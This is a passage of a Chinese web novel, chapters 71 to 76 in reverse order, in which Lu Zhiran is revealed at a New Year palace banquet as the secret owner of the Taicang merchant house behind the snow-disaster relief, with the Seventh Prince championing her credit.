“你很好,朕希望你升了高位亦能不骄不躁,不忘本心。” 第76章 太仓商行的东家是谁? 萧晏辞故意曲解,“李贵妃这意思,是说父皇兴师动众,小题大做咯?” 李贵妃一噎,“我自然不是这个意思。” 眼见李贵妃有些下不来台,赵书宁不得不开口,“此事都是臣妇之过,臣妇实在罪该万死。此次赈灾,头功非太仓商行莫属,臣妇便是有再大的脸面也不敢忝颜居功。方才与陆大小姐的争执,盖因私事而起,若有言语不当之处,尽是我之过错。陆大小姐大人大量,希望你不要与我一般见识!” 众人都看着陆知苒,眼神中尽是挑剔与不赞同。 上回吃了瘪的葛大人故意在陆贯轩身旁小声蛐蛐,“赵医女好歹有功劳在身,她有什么?在皇上面前行事如此嚣张,实在毫无教养。” 陆贯轩脸上火辣辣的,烧得慌。 她好端端地在家中待着,跑进宫来干什么? 还闹出这么大的动静,是嫌上次皇上没有问罪她吗? 赶紧站出来训斥,“好了,皇上在此,岂容你胡闹?” 说完又看向德丰帝,诚惶诚恐地请罪,“皇上,都是微臣教女无方,这才在您面前闹了笑话,微臣定好生教导她,不叫她再出来丢人现眼。赶紧给赵医女也赔个不是!” 最后一句话是对陆知苒说的。 陆知苒淡然地看着自己父亲,“女儿未曾做错事,为何要赔不是?” 陆贯轩气结,为了在皇上跟前表立场,他愈发声色俱厉。 “你还嘴硬,好端端的,赵医女为何与你起冲突?定是你言行不当,更何况,赵医女乃是此次功臣,你一介内宅妇孺,无寸功在身,有什么底气站在这里让她向你道歉?” 萧晏辞看着陆贯轩,眼神凉飕飕的,如廊下凝结的冰碴子。 他十分突兀地插入话题,“父皇,今夜您不是要嘉奖太仓商行的东家吗?这已然过了大半天,派去传召的宫人怎么还没回来?” 德丰帝转眸看他,这小子,话题转换未免太刻意了些。 陆知苒也看向他,眼中闪过一抹若有所思。 萧晏清难得开口附和萧晏辞的话,“莫不是在路上耽搁了?父皇,不若儿臣再派人去瞧瞧。” 那太仓商行的东家不仅家财万贯,更是有格局有头脑,短短大半年接连立下两个大功,若能得其助力,他的大业定然更有保障。 他主动揽下此事,便是希望能借此机会向对方示好。 毕竟,对方乃商贾出身,初次入宫定然紧张,自己派人提点一二,定能获得好感。 谁料,德丰帝却摇头,“不必如此麻烦,她人早就到了。” 众人闻言俱是一愣,旋即开始下意识四处张望。 早就到了?在何处? 楚翊安心头莫名生出一股紧张与期盼。 真要算起来,他与太仓商行的东家也算是神交已久,没想到,二人的头一次见面竟会是在这番情形下。 萧晏辞捧哏,“人在何处?她既早就到了,为何不第一时间向父皇行礼问安?莫非她居功自傲,连父皇都不放在眼里?” 德丰帝嘴角抽抽,演得挺像那么回事。 陆知苒上前两步,再度屈膝,恭恭敬敬地行了一记大礼,“臣女拜见皇上。” 众人都有些懵,方才她不是已经见过礼了吗?为何现在又突然来这么一出。 德丰帝捋着胡须,朗声笑道:“朕来向大家重新介绍一番,这位陆大小姐便是太仓商行的东家,也是此次赈灾的最大功臣。” 这简简单单的一句话,似六月晴空中放出一个旱雷,震得众人瞠目结舌。 所有人都看向陆知苒,茫然,震惊,不可置信。 这,怎会?怎么可能? 但这话是从德丰帝的口中说出来,又岂会有假? 刹那间,以前所有疑惑的地方都有了答案。 为何陆知苒能求得皇上亲自下的和离圣旨? 为何上次众臣弹劾她囤积居奇时,皇上会如此震怒? 为何她与赵书宁发生冲突,皇上会冷落赵书宁,偏袒她? 因为,她是接连立下两次大功的功臣啊!她的功劳就是最大的实力! 旁人不知她背后所做的一切,皇上却是心知肚明。 一个对朝廷立下大功的功臣,反倒被众臣弹劾,皇上能不震怒吗? 方才还在暗地里蛐蛐她的葛大人瞬间汗流浃背。 刚刚还严词厉色教训女儿的陆贯轩像个傻子,完全忘了该如何反应。 而对她和德丰帝的关系生出龌龊猜测的楚定峰,更是后背冷汗涔涔。 他先前真是错得离谱啊! 而最难以接受的,莫过于赵书宁。 身为女子却得皇上封赏,是她身上的独一无二的光环。 现在这个光环竟落到了陆知苒的身上,而且,对方的功劳还远远超过了自己! 她瞬间失去了那种高高在上的优越感,更有种被狠压了一头的狼狈与难堪。 不可能,不可能的,怎么可能呢…… 楚翊安的脑子一阵嗡嗡地响,他从没有想过,太仓商行的东家会是个女子。 更从来没有想过,这个人会是陆知苒! 自己竟一直把珍珠当鱼目? 心口像被一记重锤狠狠砸了一下,一股说不清道不明的情绪将他淹没。 萧晏辞环顾众人,将大家的表情尽收眼底。 她站在人群中,接受众人充满惊艳与赞叹的目光,萧晏辞心中升起一股与有荣焉的骄傲。 本该如此。 她的光芒本不该被遮掩。 她值得站在高处,接受众人的顶礼膜拜。 ——当然,也不可避免会被苍蝇盯上。 萧晏辞悄然挪了位置,高大的身形将某些恶心的目光彻底遮挡。 陆知苒面容沉静,宠辱不惊。 “臣女不过是略尽了绵薄之力罢了,此次赈灾之所以能如此成功,离不开皇上的运筹帷幄,更离不开七皇子和手下众人的齐心协力,真要论功,每个人都有不可磨灭的功劳,臣女万不敢独揽功劳。” 德丰帝面露满意。 此女行事沉稳,进退有度,关键是每回都闷声办大事,给自己制造惊喜,做了好事还不贪功,实在是很难让人不欢喜啊。 若自己手底下的那些老油条有她一半得用,那就好了。 第75章 自以为是的人真可笑 赶到皇宫时,已过了大半个时辰。 宫女客客气气地在前领路,陆知苒低垂着头,目不斜视。 前方忽而传来一道熟悉又令人厌烦的声音。 “你怎么来了?” 赵书宁堵住了她的去路,双眸紧紧落在她的身上,恨不得喷出两簇火苗来。 陆知苒刻意装扮得颇为隆重,锦绣绯衣,如牡丹芍药,端庄贵气。 赵书宁今夜本就气不顺,此时再见陆知苒,且对方还是如此艳压群芳的装扮,赵书宁心中所有邪火都冒了出来,压过了全部理智。 “打扮得这般花枝招展,是要去伺候谁?” 话一出口,她就后悔了。 并非后悔自己恶语伤人,而是因为此乃皇宫,她的一言一行,都可能被旁人看在眼里。 更何况,陆知苒还有皇上撑腰。 她便是再不齿陆知苒的行径,也断然不敢置喙皇上半句。 但话已出口,覆水难收。 她的傲气也不允许自己在陆知苒面前低头。 陆知苒眸底闪过一抹森然冷意,上前两步,扬手便给了对方一记耳光。 “啪!”一声脆响,赵书宁不可置信地捂着脸。 “你敢打我!” 陆知苒冷冷地看着她,“打的就是你!你不妨先给自己号一号脉,把你这嘴臭的毛病治一治,不然,我听到一次打一次!” 那领路的宫女吓了一跳,“二位贵人,有什么误会好好说,别,别动手啊。” 陆知苒缓了语气,“一点小插曲罢了,劳烦继续领路吧。” 赵书宁胸口上下起伏,气到了极致。 她打了人就想走?怎会有这么便宜的事。 “你站住!” 陆知苒睥睨着对方,“怎么,还没挨够打?” 赵书宁咬牙切齿,“你既然敢做,又何必怕我说?越是如此,便越是说明你心虚!” “我敢做什么?你不妨说出来听听。” 赵书宁自然不敢妄言,“你做了什么你我心知肚明!若非如此,你又怎会在这个时候悄悄入宫?” 现下宴席都快结束了,她才入宫,还装扮得如此隆重,这还不能说明一切吗? 陆知苒似笑非笑地看着她,眼底带着一股子意味不明的嘲讽。 “自以为是的人当真可笑。” 赵书宁觉得她话里有话,但已经先入为主地认定了事实,便没有往其他方面猜测。 想到什么,赵书宁眸底多了一层寒霜。 “我在收容所立了大功,今夜本可以领受恩赏,最后却被驳了回去,是不是你从中作梗?” 定是如此!若非这个原因,皇上不可能连李贵妃的脸面都不顾。 陆知苒微微挑眉,“救了几个灾民,这就是你所谓的大功?” 赵书宁反唇相讥,“你有什么资格这般轻飘飘地评判我的功劳?你在这件事中又做了什么?你真应该到外头去听听那些骂你的话,好叫你的脑子清醒清醒!” “该清醒的是你,你所谓的功劳不过是你的分内之事罢了,别太把自己当回事了。” 赵书宁咬牙切齿,“也总好过你,除了以色侍人,什么都不会!要不是你攀上了……” “书宁,住嘴!” 一道怒喝声传来,打断了赵书宁的话。 听到这声音,赵书宁的怒火更甚,“你还护着这个小贱……” 一转身,她的话音戛然而止,脸色刷一下染上苍白。 不知何时,她们的身后竟然站了不少人,为首的赫然是德丰帝! 是那领路的宫女去报的信,她见两位贵人针锋相对,惟恐出事。 不曾想,皇上竟然亲自来了,还命众人噤声,悄无声息地在后头听了一场戏。 赵书宁方才的气焰似被戳破的气球,瞬间蔫了。 德丰帝意味不明地开口,“赵医女好生威风。” 来自帝王的威严强势霸道,朝她沉沉压来,她双腿不受控制地打颤,扑通一声就跪了下去。 “臣妇不敢,请,请皇上恕罪!” 德丰帝目光沉沉地看着她,没有立马开口叫起。 这番沉默,越发叫她心头发沉,惶惶不安。 陆知苒上前,朝德丰帝款款行礼。 “臣女拜见皇上。” 转眸看向她,德丰帝的脸色这才和缓,温声开口,“不必多礼。” 这番截然不同的态度,令赵书宁心里愈沉,袖中双拳暗暗握紧。 陆知苒依礼起身,宫灯在她的面容上投下淡淡的晕红,玉白的脸颊上透出桃花般的颜色,娇艳柔软,美得如画中缥缈的仙子。 萧晏辞目光不受控制地落在她的身上,眼中光芒在看见她身影的一刹那,仿佛被水光搅动,微微波动起来。 楚翊安真是瞎了眼了。 德丰帝悠悠问,“方才你们在聊什么?” 他的语气听不出喜怒,但对赵书宁迟迟不叫起,这番态度已然说明一切。 赵书宁再没了方才的胆气,支支吾吾,“没,没什么……” 赵书宁想大事化小,陆知苒却不会给她脸。 “回皇上,方才我们在谈论功劳之事,赵医女自认为自己劳苦功高,今夜却未得封赏,而她竟将此事怪到臣女的头上,实在令臣女费解。赵医女,你能否对此给出解释?” 赵书宁低着头,半晌说不出话来。 这贱人,她是咬定了自己不敢当着皇上的面说什么,才故意这般咄咄逼人,实在可恨! 萧晏辞火上浇油,“这么看来,赵医女似是对父皇未曾封赏之事耿耿于怀啊。” 赵书宁后背渗出冷汗。 “臣妇不敢!雷霆雨露皆是君恩,为朝廷效力更是臣妇的本分,臣妇岂敢有半分怨言?” 李贵妃开口打圆场,“赵医女行事素来有分寸,怎会如此不懂事?赵医女和这位陆大小姐颇有渊源,会有此争执,不过是小女儿之间的争风吃醋罢了,实在不值得摆在台面上来。” 李贵妃这话的意思是陆知苒行事小气,斤斤计较,把这么点小事摆上台面。 在场不少人也都这般觉得。 尤其是有陆知苒囤积居奇之事在前,大家对她的偏见更深。 吏部尚书邢世杰邢大人也在打量着陆知苒。 这是他头次见到此女,但在此之前,邢家已经承了她两次恩惠。 原本邢世杰对陆知苒的印象十分不错,但后来发生之事,倒是让他多了几分保留。 第74章 七皇子的贺礼 若是可以的话,她当然愿意啊,这实在是太累赘了,夏天更是勒得慌。 金嬷嬷意味深长地道:“以后嫁了人,自然就长了。” 翠芙和丹烟眼底盛着清澈的愚蠢,异口同声,“为什么呀?” 陆知苒:……她其实不想懂。 但没吃过猪肉,前世她好歹见过猪跑,自然多多少少懂一些。 丹烟咕哝,“难怪小姐身材那么好,原是嫁了人的缘故……” 金嬷嬷瞪她,“小姐那是天生丽质,嫁不嫁人都长得好。” 那臭男人都没碰自己小姐半根手指头,这算哪门子嫁人? 陆知苒赶紧把金嬷嬷支开了。 两个小丫鬟虽有些疑惑,却并不执着,很快就将这事抛诸脑后。 话题很快转到今晚的宫宴上。 “老爷实在太偏心了,今夜宫宴只带了二小姐和小少爷,明明您才是嫡长女。” 她们口中的小少爷,是陆贯轩和方氏的独子陆君成,年方十二。 方氏对其期望甚高,早早将他送去京城最严格的书院念书,一月只能休沐一回,直到年前他方归家。 这辈子,陆知苒还没见过自己这位弟弟。 见她们如此为自己抱不平,陆知苒内心亦涌起淡淡感伤。 这份伤感并非因为陆贯轩,而是想到了娘亲。 若她还在的话,自己也定然能收到一份丰厚的红包,更会被人珍惜地捧在手心,如珠如宝地宠爱着。 金嬷嬷去而复返,脸上挂满了笑意,“小姐,石管事托人给您送了一份贺礼呢。” 陆知苒闻言,心头似被暖阳熨过一般。 娘亲虽然不在了,但她的身边同样有这些关心爱护她的长辈,她并不孤单。 “石叔送来了什么?” “好大一个箱子,不知道里头装的是什么,他让您务必亲自打开看看。” 这下子,大家都好奇了起来。 正厅之中,果然摆着一个偌大的红木箱子,上面的雪花还尚未来得及擦拭。 翠芙和丹烟二人合力将箱子打开,待看到里面的东西,更加疑惑。 “咦?好像是一幅画。” 取出画卷,缓缓展开,看清上面内容的瞬间,陆知苒的呼吸下意识屏住了。 那是一副巨大的卷轴,上书“万民书”三个大字。 “时年气候骤降,雪灾频发,然大齐有明主庇佑,天变不足惧。皇上一心为民,得此明主,万民之幸也。又有太仓商行、万利商行、润发商行等诸位义商慷慨解囊,增设赈济坊,搭建收容所,供饥民住所粮药,柴火冬衣。寒冬之后将伴随春回,江山无尽,气势雄奇,天文异象并非灾异,而为瑞雪福兆。众民蒙受隆恩,应接不惶,诸多情怀难述笔端,粗鄙陋见难表雅意,特上寸笺,敬呈,以申谢忱。” 苍劲有力的字迹力透纸背,入木三分,读罢,陆知苒只觉心潮涌动,久久难平。 继续往下,那长长的卷轴上,写着一行行或长或短的话。 “瑞雪兆丰年,明年新收的第一批新米,我想送给皇上,送给曾经帮过我们的贵人。” “身上的棉衣很暖和,它救了我们全家,也给了我们希望。” “今晚的大猪蹄很好吃,我一辈子都不会忘记。” “我的小女儿还不满一个月,我以为她活不过这个冬天,没想到,她经历了自己这辈子最难忘的一个新年。” …… 依旧是那苍劲有力的字体,将这一句句质朴纯粹的感激一一记录下来。 每句话的末端是用木炭写下的歪歪扭扭的名字:张二花,李铁柱,于三香,何福贵……上面还印着一个个鲜红的手印。 他们并不会写字,有些地方写错了,还有涂抹的痕迹,氤出一团乌黑的痕迹。 陆知苒几乎能想象他们对照着依葫芦画瓢的认真模样,每一笔每一划都格外认真。 长长的画轴,密密麻麻的名字,密密麻麻的手印,绘就了一幅独一无二的画卷。 她的名字不曾出现在百姓们感激的话语中,但他们的感激,她收到了,沉甸甸,暖融融的,温柔细致地熨帖着她的心。 她所做的一切,都有了最真诚,最厚重的反馈。 一切,都值了。 翠芙和丹烟激动得红了眼眶。 “石管事送的这份礼可真是太好了。” 金嬷嬷这时方道:“石管事说,这其实并非出自他之手,而是七皇子准备的,这是他送给小姐的新年贺礼。” 陆知苒微怔,一股奇异的感觉在心尖蔓延开。 竟是他? 石叔说,七皇子在收容所与百姓同吃同住,凡事亲力亲为,是真的把百姓放在了心上。 假如,他真的坐上了那个位置,定会是一个真正爱民如子的好皇帝。 金嬷嬷又道:“七皇子还说,这只是第一份新年贺礼,今夜还有第二份贺礼。” 翠芙和丹烟立马追问,“第二份大礼是什么呀?” 金嬷嬷摇头,“这我也不知道,石管事没说呢。” 二人顿时满脸失望,同时更加好奇起来。 陆知苒心中升起一个猜测。 难道…… 这个念头刚起,院外就传来了一阵喧哗的动静,丹烟一喜,“定是七皇子送的第二份贺礼来了!” 说完她就一溜烟往外跑。 很快,她又像一阵风似的跑了回来,脸上挂着灿烂的笑容。 “小姐,小姐!宫里来人了,皇上请您入宫呢!” 陆知苒一震,这一刻,她竟没来由地开始紧张起来。 就在今夜了。 她苦心瞒了许久的秘密,就在今夜,即将揭开答案。 这是她送给楚家人的一个大礼,希望他们能承受得住。 低头看着那卷长长的画轴,一股福至心灵的默契涌上心头。 这份画轴,是送给她的,也不是送给她的。 七皇子早料到皇上会传召自己。 这或许是他替自己准备好的,进献给皇上的礼物。 晚宴已至尾声。 每年宫中都会精心准备烟火秀,今年也不例外。 德丰帝起身,在众人的簇拥下往东城门观赏表演。 烟花甚美,光芒变化,璀璨无双。 萧晏辞看着这番美景,只觉寡淡无趣极了。 心头不受控制地骚动,她是否收到了自己赠的礼物?她是否能明白自己的用意? 她那般聪慧,定然能懂。 她现在到了何处?若她早些到的话,就能看一看这场烟火秀了。 今夜的街道人流繁盛,群院缀锦,十分热闹。 陆知苒的马车在拥挤的人流之中艰难前行。 忽而,人群中发出一声高呼,“烟花,好漂亮的烟花!” “是皇宫开始放烟花了。” 心念一动,陆知苒掀起车帘往外看,恰好看到一朵绚烂的烟花在高空绽放,美极了。 第73章 头功非太仓商行莫属 赵书宁的脸色微僵,李贵妃的面色亦是微妙地凝固片刻。 她毫不掩饰自己对赵书宁的偏爱与欣赏,亲口为其邀功,萧晏辞却是直接反驳,简直半点不给她留脸面。 李贵妃语气不悦,“小七,你这话是何意?赵医女在收容所忙前忙后,没有功劳也有苦劳,你这般态度,岂不伤了功臣之心?” 她是贵妃,又是长辈,对待萧晏辞自然能摆一摆长辈的架子。 萧晏辞面不改色,“我并未否定任何一个人的功劳,只是若当真要论功行赏的话,远轮不到她赵书宁。” 这话说得十分不客气,赵书宁僵立原地,难堪至极。 李贵妃的脸色也不好看,“此次你的确劳苦功高,真要论赏,定是先从你开始,赵医女越不过你去。你行事如此霸道,岂不令人心寒?” 这话就差直说萧晏辞贪功,容不得人了。 柔妃顿时不乐意了,“李贵妃,你这话是什么意思?” “字面意思。” 萧晏辞似笑非笑,“我生来就这么个霸道性子,想改也改不了。” 当着皇上和众臣的面他都敢如此嚣张,实在是目中无人。 李贵妃有些气愤地看向德丰帝,“皇上,您瞧瞧……” 谁料,德丰帝却毫不犹豫地偏袒萧晏辞,“小七所言也没什么错,赵医女的确有功,但头功尚未论赏,现下自然轮不到她。” 李贵妃:…… 赵书宁被高高架在火上,尴尬极了。 柔妃终于高兴了,冲着萧晏辞柔柔开口,“小七,还不跪下领赏。” 那副得意的样子,若是身后长了尾巴,定然早就高高翘起来了。 萧晏辞却是摇头,“母妃,儿臣亦并非此次头功,也担不起此等殊荣。” 柔妃愣住。 这段时间以来,他忙前忙后,连口气儿都没来得及喘,还不算头功?那谁当得起头功? 萧晏辞脸上的玩笑褪去,转而换上了郑重神色。 “收容所乃太仓商行牵头搭建,百姓所需的第一批木炭和棉衣,全是太仓商行和其他商行无偿捐赠,城中流浪的乞儿,城外受灾的百姓,也是太仓商行率先派人接到收容所安置。” “从头到尾,太仓商行都是此次事情的牵头者和先行者,他们为此次赈灾开了一个好头。有人见利忘义,太仓商行却见利思义,实实在在地为百姓做了很多事。” “若要论功,太仓商行当居其首,其他商行当居其二,而那些日夜巡防的禁军和士兵,当居其三。儿臣所行所做,不过是微末之功,完全不值一提。父皇,儿臣斗胆为太仓商行请功。” 萧晏辞的一番话说得铿锵有力,在大殿之内回响,久久不息。 方才还在嘲讽他霸道贪功的李贵妃,像被人狠扇了几个耳光似的火辣辣的。 赵书宁更有种无地自容的窘迫。 原本还在替自己儿子感到不公平的柔妃也沉默了,心头升起一阵触动。 德丰帝缓缓开口,“准!来人,宣太仓商行东家入宫觐见!” 萧晏辞朝上首重重叩首,“父皇英明。” 楚翊安的心情一阵起起落落。 原本还在为赵书宁不得恩赏而懊恼,但现在,他也说不出其他话来。 萧晏辞所言句句在理。 除了太仓商行,无人能居首功。 他一直想结交太仓商行的东家,今日倒是有机会了。 思及此,他心中不禁升起期待。 德丰帝难得生出一种看好戏的心态,到时候那位现身人前,众人的反应定然十分精彩。 德丰帝朝萧晏辞招手,“坐到朕这里来,也让你母妃好好看看你。” 萧晏辞看向自家母妃,她本还高高兴兴,一触及自己的目光立马板起了脸,一副赌气的神色。 这是恼自己多日未入宫请安呢。 萧晏辞笑嘻嘻地上前坐下,“母妃,多日未见,您瞧着越发年轻了,简直与那二八少女别无二致。” 原本有满肚子抱怨的柔妃,瞬间被转移了注意力,唇角的弧度怎么都压不住了。 伸手摸着自己的脸,嗔怪地瞪他,“我都是当娘的人了,休要胡说。” 萧晏辞一脸真诚,“儿子从来不说假话,您与儿子走出去,旁人定以为咱俩是兄妹。” 柔妃原本还挺高兴,但转头一看他那又黑又糙,还干得起皮的脸,顿时又来气了。 “我把你生得这么好看,就是让你糟践的?你再这般不修边幅,回头别人都要以为你是我爹了!” 萧晏辞摸摸鼻子。 德丰帝:咳咳咳…… 这就有点离谱了。 李贵妃看着柔妃那嫩得能掐出水来的脸,原本就不痛快的心情更加憋闷。 今夜城中宵禁取消,形形色色的杂货摊铺排满了道路两旁,高楼上结着彩带,挂着灯笼,照得街道煌煌如白昼。 行人摩肩接踵,喧闹不绝,空中有烟花绽放,撕开了漆黑的夜幕。 此时的瑶光阁却是一片安静平和,外界的喧闹都与这一隅之地并不相干。 丹烟今日大展厨艺,做了一桌丰盛的饭菜,主仆几个围在一处,安安静静地吃完了这顿年夜饭。 陆知苒真心夸赞,“丹烟,你的厨艺越来越好了。” 丹烟被夸得有些脸红,又十分骄傲。 “这算什么,小姐想吃什么我都能做!” 翠芙伸手掐她脸,“看把你能的。” 两个丫鬟立马闹作一团。 看着她们笑闹,陆知苒唇角不禁勾起一抹浅浅的弧度。 今日瑶光阁上下都收到了红包,金嬷嬷和翠芙丹烟的格外丰厚,喜得她们眉开眼笑。 她们也给陆知苒准备了自己的礼物,陆知苒一一接过,也笑弯了眼。 “翠芙你的针线活越来越好了,这双鞋子合脚又舒服,我这个冬天就穿它了。” “丹烟你还学会了调香料?闻起来真香,跟你做的肉一样香!” “奶娘你……怎么又给我做了小衣,前段时间不是刚做了吗?这码子看着是不是有点太大了?” 金嬷嬷一脸笃定,“不大,老奴的眼睛就是最好的尺子。小姐穿上刚刚好!” 在灯火的映照下,陆知苒的脸红了几分。 丹烟一副眼馋的模样,“小姐的身材真好,要是能分点给奴婢就好了。” 陆知苒:…… 第72章 她的好应该被所有人看到 贺昀凑上来,笑嘻嘻地道:“殿下,给属下抹点呗,属下的脸也干得起皮了。” 萧晏辞冷睨了他一眼,“你这脑袋都是本皇子大发慈悲才暂时给你留着,还在乎什么脸不脸的?” 贺昀:…… 这么多天过去了,他以为殿下都忘了那一茬儿了,没成想还记着呢。 贺昀抱着狗头赶紧滚了,免得真的被自家殿下拧下来当球踢。 萧晏辞看了看自己收到的礼物,再想到他们那充满真诚感激的脸,心中再次掀起涟漪。 这些礼物都不贵重,甚至很低贱,但是,这已经是他们能拿出来的,最好的东西了。 他们愿意把最好的东西送给自己,至少说明,他做的一切,都被人看在了眼里,记在了心上。 那陆知苒呢? 她做的一切,更应该被人看到。 夜色渐深,一场别开生面的年夜饭落下帷幕。 萧晏辞翻身上马,往城中而去。 今夜,宫中会有百官宴,这般大的热闹,他可不能缺席。 宫中,各处廊下都挂起了大红灯笼,亮如白昼。 宴席早已开始,除了朝臣以外,宫妃和朝臣家属也都参宴了,十分热闹。 因为收容所的缘故,今年的大雪只造成了一些房舍崩塌和少量的人员死亡,百姓们的生计几乎没有受到太大的影响,德丰帝的心情十分不错。 朝臣们纷纷拍马屁,德丰帝龙心大悦,气氛颇为融洽。 德丰帝目光朝下面一扫,“小七呢?怎的不见他人?” 旁边传来一道轻哼,“皇上终于想起您还有这么一个儿子了。” 说话之人生得极美,皮肤在灯光的映照下白得晃眼,如美玉一般毫无瑕疵。 她说话缓慢斯文,瞧着一派柔雅和气,只是那话怎么听怎么带着股阴阳怪气。 这人便是萧晏辞的生母柔妃。 她比德丰帝小了二十岁,性子也天真单纯,即便儿子都到了娶妻的年纪,她的心性也依旧如孩童般。 在这大好的日子里,旁人或许不敢这般泼帝王的冷水,独独柔妃敢。 大过年的,旁人一家团聚,就她儿子还在外头当差,她心里能痛快吗? 平日里当差也就罢了,大过年的还要继续当差,到最后,他连点金银赏赐都捞不着——捞着了也留不住。 她能忍住不掉眼泪,已经是很给皇帝面子了。 德丰帝轻咳一声,面上带着心虚。 “朕自然一直想着小七呢,先前就派人去召他了。冯有才,还不快派人去看看七皇子到何处了?” 冯有才躬身答话,“七皇子今夜在收容所与百姓们一起吃年夜饭,以慰民心。算着时间,现在应当快到宫里了。” 德丰帝闻言,满脸欣慰,“小七当真是懂事了,这次他着实替朕分忧不少。” 柔妃却更气了,大过年的,他连自己这个亲娘的面都见不着,反倒去陪那些灾民吃年夜饭!这像话吗? 她才不管什么江不江山,社不社稷,反正这天下也不可能是自己儿子的,现在又何必这般卖力? 萧晏清听了这话,心里酸得冒泡。 如此绝佳的笼络人心的机会,若是让他去该多好! 李贵妃亦是酸得不行,看到柔妃还一副嫌弃得不得了的样子,她更心塞了。 真是肤浅无知的女人,成日里就只知道涂脂抹粉,捣鼓香料,一点上进心都没有! 压下心头恶气,李贵妃撑起笑脸开口,“小七这回立了大功,应当重重有赏。其余立功之人也当好生嘉奖,以表皇恩才是。” 李贵妃目光朝下一扫,落在赵书宁的身上。 正待为其邀功,皇后笑着开口,截了她的话头。 “待小七到了,皇上的确该好好嘉奖那孩子。” 孙皇后是德丰帝的发妻,已然上了年纪,眼角都能看到明显的细纹。 早年经历了丧子之痛,而后又拼着高龄产下九公主,她的身体已然不大好,便是后宫诸事,也交给了几位贵妃协理。 若非今日是除夕这样的大日子,她也不会露面。 德丰帝待她十分敬重,她的话也颇具分量。 “赏,自然该赏,待小七到了,朕就好好赏他!” 门口,一道声音朗声接话,“儿臣来了,父皇要给儿臣什么赏赐啊?” 一道颀长挺拔的身影大步流星而来。 众人齐齐转头朝大殿门口的方向看去。 德丰帝面露笑意,柔妃更是一下伸长了脖子,眼里的期盼掩都掩不住。 萧晏辞特意回府好生梳洗了一番,换了一袭应景的绛红色锦衣,玉冠束发,头顶的凤翅攒八角细梁宫灯光辉灿烂,衬得他侧面轮廓似是刀斧凿就,棱角分明,整个人风姿神秀,俊逸非凡。 德丰帝满意地点了点头,如此好生拾掇一番,总算有点皇子的样子。 宴席中,有姑娘看着这般丰神俊朗的七皇子,脸颊烧出薄薄一层晕红。 “儿臣给父皇,母后,母妃和诸位嫔妃拜年了。祝父皇千秋圣寿,万寿无疆,寿与天齐!祝母后,母妃和诸位嫔妃凤体安康,青春永驻,福寿绵长!” 萧晏清:溜须拍马! 德丰帝笑得甚是开怀,“好好好,小七替朕办了一回差事,越发懂事了。” 萧晏辞一脸正色,“父皇,只夸一句懂事可打发不了儿臣,儿臣还等着您的恩赏呢。” 敢这般大喇喇地直接讨赏,大概就只有萧晏辞了。 德丰帝伸手点他,一副故作气恼的模样。 “你可真是半点都不客气。” 李贵妃笑着重提方才的话题,“皇上,正好小七这个头号功臣来了,其他有功之臣也都齐聚于此,今日实乃论功行赏的最佳时候。” “小七的功劳自不必说,今日妾身逾矩,倒是想替一人邀一邀功。赵医女此前便给妾身诊治过,医术精湛,丝毫不比太医院其他太医差。” “此次在收容所赵医女亦是表现不俗,临危不乱,于危急情势下力挽狂澜,救治了数名突发急症的灾民,如此表现合该好生嘉奖。” 赵书宁立马挺直了腰杆,眼底闪着一抹希冀的光。 她出列叩首,“那都是臣妇分内之职,当不起皇上和贵妃的如此抬爱。” 谁都听得出她这话是谦逊推辞,萧晏辞却不给她脸面,直接顺着接话。 “你的确当不起。” 第71章 特别的年夜饭 年关将近,天气依旧冷得透骨,大雪没日没夜地下,越来越多灾民往收容所而来。 朝廷早有预料,拨款扩建了收容所,灾民们不至于无处可去。 初到收容所的灾民们,都会被眼前的景象惊得张大嘴巴。 一排排暖棚整齐排列,大家穿着崭新的棉衣,男人在烧炭,或在帮忙搭建新的暖棚,女人则是在扫雪,烧火,炒菜,至于孩童,则在雪地里堆雪人,打雪仗。 每个人脸上都带着笑,眼里闪烁着希望的光。 原本一片荒芜的地界,被众人齐心协力构建出一片热火朝天的盛景来。 雪依旧在下,但此时它已经不再可怕,成了这场盛景的点缀。 这一刻,海晏河清,国泰民安似乎有了具象化。 转眼,除夕悄然而至。 萧晏辞命人兑了几十箩筐铜板,整整齐齐地摆在暖棚前面,那番情形,蔚为壮观,引得众百姓都看直了眼。 萧晏辞立于高台之上,一身黑衣衬得他身形挺拔颀长。下巴冒出青色胡子,有几分潦草落拓,又带着股宽清磊落的风姿。 这段时日的历练下来,原来传言中那位乖戾狠绝,不近人情的七皇子,已经变成了鲜活的,有血有肉的人。 他朗声开口,“今日乃除夕佳节,皇上一直记挂着诸位,特命本王准备了这些喜钱,还备了好菜好肉,今日,咱们便一起领喜钱,吃团圆饭,热热闹闹地过大年!” 随着他话落,众人顿时发出一声高呼。 “皇上英明!” “有此明主,实乃大齐之幸,更是我等之幸!” 众人纷纷跪地,朝着皇宫的方向连连磕头,眼中满是虔诚与感动。 萧晏辞看着底下跪了一地的百姓,脑中不由自主浮现出了陆知苒的脸。 容色娇艳,昳丽无双。 心头涌起涟漪,一股说不清道不明的灼热流遍全身,血液都沸腾起来。 世人不知,她的内里,远比她的容貌更加充满魅力。 今日,父皇能得众民虔诚参拜,她有一半功劳。 众人依次排队领喜钱,一人抓一把,哗啦啦的声响格外悦耳。 银钱并不多,不过十几个铜板,却足以让他们绽出灿烂笑颜。 领了喜钱,又拿着碗排队领饭菜。 几十口大锅里都炖上了满满当当的肉,红烧的猪蹄,油炸的丸子,清蒸的鲫鱼,现卤的鸡鸭牛肉,还有一个个圆滚滚胖乎乎的饺子,呼啦啦地冒着热气,香的哦,每个人都一边流着哈喇子,一边伸长了脖子等。 分菜的大汉抡着大勺子,力气大,下手重,还不抖勺,每人都能分到满满当当一大碗肉,便是孩子也不例外。 有孩子捧着比他脸还大的猪蹄,啃得满嘴流油。 有牙齿稀疏的老人端着碗,吃着软烂的红烧肉,脸上的褶子都舒展开了。 其余人或站或坐,三三两两聚在一处,埋头干饭,吃得香极了。 萧晏辞也亲自打了一碗肉,毫不见外地找了个地方坐下来开吃。 他在衣食住行上从不挑剔,糙得不像个养尊处优的皇子。 谁让他天生破财呢? 每回出行都能把自己搞得十分狼狈,吃苦耐劳的品质这就锻炼出来了。 不得不说,今日大厨的手艺委实好,可比宫里那冷冰冰的年夜饭好吃多了。 吃着吃着,有人就哭了起来。 “这顿年夜饭,是我这辈子吃过的,最好吃的年夜饭。若是我老娘还在的话,她也能吃到一顿好肉了。” 这话让不少人都红了眼眶,心头涌起一股难言的酸涩滋味。 “我以为今年冬天,我们一家子都熬不过来了,没想到,还能穿上那么暖和的衣服,吃到这么好吃的饭菜,便是死,我也能瞑目了。” “我也是,现在便是让我死,也无憾了。” 